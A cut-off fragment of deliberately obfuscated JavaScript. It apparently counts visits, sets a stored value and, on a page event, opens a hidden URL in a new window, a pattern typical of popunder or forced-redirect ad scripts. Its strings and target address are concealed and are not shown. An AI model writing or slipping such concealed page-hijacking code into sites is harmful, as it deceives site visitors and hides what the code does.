_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());